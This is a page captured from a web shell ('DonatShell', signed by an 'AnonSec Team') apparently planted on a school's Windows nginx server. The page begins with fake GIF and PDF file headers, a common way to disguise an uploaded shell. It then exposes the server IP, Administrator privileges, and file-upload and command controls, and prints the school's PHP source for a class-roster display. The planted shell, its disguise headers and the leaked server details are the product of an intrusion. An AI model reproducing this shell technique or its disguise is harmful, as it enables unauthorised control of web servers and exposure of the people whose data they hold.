GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/Class//ClassStudentNames.phpinc
<?
// common/Class/ClassStudentNames.phpinc

debugTrackBegin();
if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; }

#echo "\$f_classId=",$f_classId,"<br>\n";
if ($classRosterCount != 1) {
	$classRosterCountText = $classRosterCount." students";
} else {
	$classRosterCountText = $classRosterCount." student";
}
if (isset($courseTitle)) {
	$courseTitleText = ' '.$courseTitle;
} else {
	$courseTitleText = '';
}
?>
<fieldset><legend>Class StudentIds <span class="smaller">(<?=$classRosterCountText?>)</span></legend>
<?
if ($classRosterCount) {
	#d_Var('$classRosterResult',$classRosterResult,'d');
	$studentsPerColumn = (int) ($classRosterCount/4+.99);
	//echo $studentsPerColumn."<br>\n";
?>
	<table cellpadding="0" cellspacing="0"><tr><td>
<?
  mysqli_data_seek($classRosterResult, 0);
  $studentsThisColumn = 0;
	while ($classstudentRow = mysqli_fetch_assoc($classRosterResult)) {
		$dateText = substr($classstudentRow['userAccessTime'],0,10);
		if ($classstudentRow['userStudentId'] == $classstudentRow['useruserStudentId']) {
			// User has logged in.
			if (date_difference($classstudentRow['userAccessTime'], currentDateTime()) <= 14) {
				// User has logged in within the last two weeks.
				$status = "Current";
				$f_StudentIdSubject = "&subject=".$f_courseNumber." -%20";
				$f_StudentIdMessage = "";
			} else {
				if (date_difference($classstudentRow['userAccessTime'], currentDateTime()) <= 90) {
					// User has logged in within the last three months.
					$status = "Recent";
				} else {
					// User has not logged in within the last three months.
					$status = "Older";
				}
			}
		} else {
			// User has never logged in.
			$status = "Never";
		}
		#$dateText = '<span class="normal">('.$dateText.')</span>';
?>
		<span class="normal user<?=$status?>"><?=$classstudentRow['userFirstName']?> <?=$classstudentRow['userLastName']?></span><br>
<?
  }
?>
</td></tr></table>
Student Login status: 
<span class="userCurrent">Green = &lt; 2 weeks,</span>
<span class="userRecent">Blue = &lt; 3 months,</span>
<span class="userOlder">Orange = &gt; 3 months,</span>
<span class="userNever">Red = Never logged in</span>.
<?
} else {
?>
The class roster is empty.
<?
}
?>
</fieldset>

<?

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team